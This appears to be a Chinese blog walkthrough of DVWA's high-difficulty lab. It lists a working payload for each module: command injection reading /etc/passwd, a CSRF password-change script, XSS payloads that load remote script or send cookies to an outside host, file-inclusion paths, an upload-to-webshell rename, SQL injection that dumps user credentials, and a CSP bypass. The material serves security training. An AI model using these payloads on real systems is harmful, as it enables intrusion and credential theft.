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 谜团靶机 专栏收录该内容
8 篇文章 3 订阅
订阅专栏

DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专
业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。

谜团靶机平台地址：https://mituan.zone/
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初始化靶场，此次选择DVWA高等级靶场。

Brute Force
抓包后，注意修改token，初始token为Extract请求数据包中的token，线程为1。

https://blog.csdn.net/zycdn/article/details/112279675






Command Injection



127.0.0.1|cat /etc/passwd

CSRF
现代浏览器是不允许进行跨域请求的，但是如果存在XSS漏洞，那就变得可以利用了。不过既然有XSS那就能得到cookie，也
不会用这么麻烦的方式了。



var url = 'http://56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
  xmlhttp = new XMLHttpRequest();
}else{
  xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var success = false;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
  if(xmlhttp.readyState ==4 && xmlhttp.status==200){
    var text = xmlhttp.responseText;
    var regex = /user_token\' value\=\'(.*?)\' \/\>/;
    var match = text.match(regex);
    console.log(match[1]);
    var token = match[1];
    var pass = "admin123";
    var new_url = url+'?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change';
    if(!success){
      success=true;
      xmlhttp.open("GET",new_url,false); //true表示异步执行 false表示同步执行
      xmlhttp.send();
    }
  }
};
xmlhttp.open('GET',url,false);
xmlhttp.send();

DOM XSS： http://56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/vulnerabilities/xss_d/?default=English#

<script src="http://cms.com/test.js"></script>

Reflected XSS： http://56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/vulnerabilities/xss_r/?name=<img

src=x

onerror="eval(unescape(location.hash.substr(1)))">#d=document;h=d.getElementsByTagName("head").item(0);s=d.c

reateElement("script");s.setAttribute("src", "//cms.com/test.js");h.appendChild(s);

File Inclusion

http://56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/vulnerabilities/fi/?

page=file:///etc/apache2/apache2.conf

http://56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/vulnerabilities/fi/?page=file4.php

http://56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/vulnerabilities/fi/?

page=fileabc../../../../../../../etc/passwd



File Upload

如果是低版本PHP，还可能会考虑00截断，但这个版本肯定不用考虑了，那可以考虑用命令注入修改文件名成php。
|mv ../../hackable/uploads/shell.jpg ../../hackable/uploads/shell.php

Insecure CAPTCHA



感觉满足要求传参数就可以啊。

SQL Injection



出现下面这个图，那就清除cookie重新再来。

源码如下：

剩下的操作与初级中级没有什么。



1' and 1=1 -- q

1' order by 2 -- q

1.1' union all select 1,2 -- qwe

1.1' union all select 1,group_concat(table_name) from information_schema.tables where

table_schema=database() -- qwe

1.1' union all select 1,group_concat(column_name) from information_schema.columns where

table_schema=database() and table_name='users' -- qwe（没有魔术引号）

1.1' union all select 1,group_concat(concat_ws(':',user,password)) from users -- qwe

后来参考别人的博客，还可以这么玩： 1' or 1=1 -- q、 id=1 or 1=1&Submit=Submit，不过想要获取数据，还要一步一

步来

SQL Injection (Blind)



查询错误，就可能随机休眠几秒钟，然而并没有用处啊。

判断注入点： 1' and 1=1 -- q

判断第一个表长度： 1‘ and length((select table_name from information_schema.tables where

table_schema=database() limit 1,1))=5 -- qwe

判断第一个表第一个字母： 1' and ascii(substr((select table_name from information_schema.tables where

table_schema=database() limit 1,1),1,1))=117 -- qwe

剩下的参考低等级靶机。

Weak Session IDs



用户访问服务器的时候，一般服务器都会分配一个身份证 session id 给用户，用于标识。用户拿到 session id 后就会保存到
cookies 上，之后只要拿着 cookies 再访问服务器，服务器就知道你是谁了。
与初级相比，进行md5处理了，但是还是不会利用啊，毕竟session_id不知道啊。

但是cookie中并没有dvwaSession字段。。。

XSS (DOM)



不要忘了锚点后面的内容是不经过服务器的。

http://8fc1da2cd6834b5382f1591545702015.app.mituan.zone/vulnerabilities/xss_d/?default=English#

<script>alert(1)</script>（ English#<script src="http://cms.com/test.js"></script>）

http://8fc1da2cd6834b5382f1591545702015.app.mituan.zone/vulnerabilities/xss_d/?default=English&script=

<script>alert(1)</script>（利用decodeURI解码函数）

XSS (Reflected)
http://56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/vulnerabilities/xss_r/?name=<img src=# onerror=alert(1)

/>虽然能弹窗，但是无法直接使用script，那就用锚点。



http://8fc1da2cd6834b5382f1591545702015.app.mituan.zone/vulnerabilities/xss_r/?name=<img src=x

onerror="eval(unescape(location.hash.substr(1)))" />#var img =

document.createElement('img');img.src='http://www.baidu.com/?

cookies='+escape(document.cookie);document.body.appendChild(img)，因为锚点之后的内容不经过服务器，所以可以

绕过。（IMG）

http://56c5300d075a46a486ce45fbcc26cf11.app.mituan.zone/vulnerabilities/xss_r/?name=<img src=x

onerror="eval(unescape(location.hash.substr(1)))">#d=document;h=d.getElementsByTagName("head").item(0);s=d.c

reateElement("script");s.setAttribute("src", "//cms.com/test.js");h.appendChild(s);（标签）

XSS (Stored)

message无法利用，那就从name下手，过滤了script，但是img、frame这些还可以使用。

<iframe onload=alert(/xss/)>

<img src=x onerror="e=escape;this.src='//www.baidu.com?cookies='+e(document.cookie)">

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

这几种方式都是可以的。

CSP Bypass



这个好像需要利用XSS Reflected，构造网
址： http://8fc1da2cd6834b5382f1591545702015.app.mituan.zone/vulnerabilities/xss_r/?name=<img src=x

onerror="eval(unescape(location.hash.substr(1)))"

/>#d=document;h=d.getElementsByTagName('head').item(0);s=d.createElement('script');s.setAttribute('src','/vulner

abilities/csp/source/jsonp.php?callback=alert(document.cookie)//');h.appendChild(s);

JavaScript



先输入success，然后执行两个函数。

在反混淆JS，解
密 http://8fc1da2cd6834b5382f1591545702015.app.mituan.zone/vulnerabilities/javascript/source/high.js。

销毁靶机销毁靶机

http://deobfuscatejavascript.com/#
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